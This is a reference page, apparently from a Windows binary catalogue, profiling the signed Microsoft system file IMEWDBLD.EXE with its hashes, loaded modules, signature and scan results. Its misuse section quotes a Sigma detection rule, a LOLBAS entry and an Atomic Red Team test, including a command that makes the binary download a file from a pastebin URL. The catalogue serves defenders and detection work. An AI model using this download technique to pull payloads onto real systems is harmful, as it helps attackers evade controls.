IMEWDBLD.EXE

  • File Path: C:\Windows\system32\IME\SHARED\IMEWDBLD.EXE
  • Description: Microsoft IME Open Extended Dictionary Module

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IMEWDBLD.EXE

Hashes

Type Hash
MD5 FBEE6DD18640B1575FF98D1EB3B51724
SHA1 768565DFF960DAE2C88160A83D6E89EC324871EB
SHA256 E41B6E1DC3B77040B10FF3DC3BC54AB528DC0CBBBB9841D3AD05FD2136E542A9
SHA384 0A78CBB200E3F359F79F5CD8CE8E351933A90F9F5FCC4F64A82DE084C9EC74CFEDAC608EE87B886AF424C384DDB87480
SHA512 FB8E215F86537F905212F9AC98BFD57A55FF4733829F9D6290BBAADB6B9DE38B3E49311D315B26FD98DAF779ABE00CF7607E865F2F0C28B563138E073013CB2D
SSDEEP 6144:Cgxh/q0ihC+IxjWE9MHvf08pUphjkhmTDsMEU7Gs/UEVTppcX+:XxKE9SvVUphIgzEU7Gs/r
IMP 9058F8CAF1607207583049235B4FF842
PESHA1 DCB72798AEE9CCBFDF43137844CBB706F3D0ABC4
PE256 E1995150558EFCE8E6B8F21143FC017EE97D2DE97D76ABEDD59AC239BA46F010

Runtime Data

Window Title:

Microsoft IME Open Extended Dictionary Error

Open Handles:

Path Type
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\SystemResources\imageres.dll.mun File
(RW-) C:\Users\user File
(RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_ca04af081b815d21 File
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2 Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\Sessions\1\Windows\Theme1175649999 Section
\Windows\Theme601709542 Section

Loaded Modules:

Path
C:\Windows\System32\ADVAPI32.dll
C:\Windows\SYSTEM32\Cabinet.dll
C:\Windows\System32\combase.dll
C:\Windows\System32\CRYPT32.dll
C:\Windows\System32\GDI32.dll
C:\Windows\System32\gdi32full.dll
C:\Windows\system32\IME\SHARED\IMEWDBLD.EXE
C:\Windows\System32\IMM32.DLL
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\System32\msvcrt.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\ole32.dll
C:\Windows\System32\OLEAUT32.dll
C:\Windows\SYSTEM32\profapi.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\System32\sechost.dll
C:\Windows\System32\shcore.dll
C:\Windows\System32\SHELL32.dll
C:\Windows\System32\SHLWAPI.dll
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\USER32.dll
C:\Windows\SYSTEM32\UxTheme.dll
C:\Windows\System32\win32u.dll
C:\Windows\System32\WINTRUST.dll
C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_ca04af081b815d21\COMCTL32.dll

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: imewdbld.exe
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.19041.1 (WinBuild.160101.0800)
  • Product Version: 10.0.19041.1
  • Language: Language Neutral
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/75
  • VirusTotal Link: https://www.virustotal.com/gui/file/e41b6e1dc3b77040b10ff3dc3bc54ab528dc0cbbbb9841d3ad05fd2136e542a9/detection

File Similarity (ssdeep match)

File Score
C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE 41
C:\Windows\system32\IME\shared\IMEWDBLD.EXE 38
C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE 44
C:\Windows\SysWOW64\IME\shared\IMEWDBLD.EXE 38
C:\WINDOWS\SysWOW64\IME\SHARED\IMEWDBLD.EXE 40
C:\Windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE 35
C:\windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE 29
C:\Windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE 36
C:\WINDOWS\SysWOW64\IME\SHARED\IMEWDBLD.EXE 35

Possible Misuse

The following table contains possible examples of IMEWDBLD.EXE being misused. While IMEWDBLD.EXE is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma net_connection_win_imewdbld.yml title: Download a File with IMEWDBLD.exe DRL 1.0
sigma net_connection_win_imewdbld.yml description: Use IMEWDBLD.exe (built-in to windows) to download a file DRL 1.0
sigma net_connection_win_imewdbld.yml Image\|endswith: '\IMEWDBLD.exe' DRL 1.0
LOLBAS IMEWDBLD.yml Name: IMEWDBLD.exe  
LOLBAS IMEWDBLD.yml - Command: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw  
LOLBAS IMEWDBLD.yml Description: IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to %LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION> or %LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>  
LOLBAS IMEWDBLD.yml - Path: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe  
atomic-red-team index.md - Atomic Test #17: Download a file with IMEWDBLD.exe [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #17: Download a file with IMEWDBLD.exe [windows] MIT License. © 2018 Red Canary
atomic-red-team T1105.md - Atomic Test #17 - Download a file with IMEWDBLD.exe MIT License. © 2018 Red Canary
atomic-red-team T1105.md ## Atomic Test #17 - Download a file with IMEWDBLD.exe MIT License. © 2018 Red Canary
atomic-red-team T1105.md Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. MIT License. © 2018 Red Canary
atomic-red-team T1105.md $imewdbled = $env:SystemRoot + “\System32\IME\SHARED\IMEWDBLD.exe” MIT License. © 2018 Red Canary

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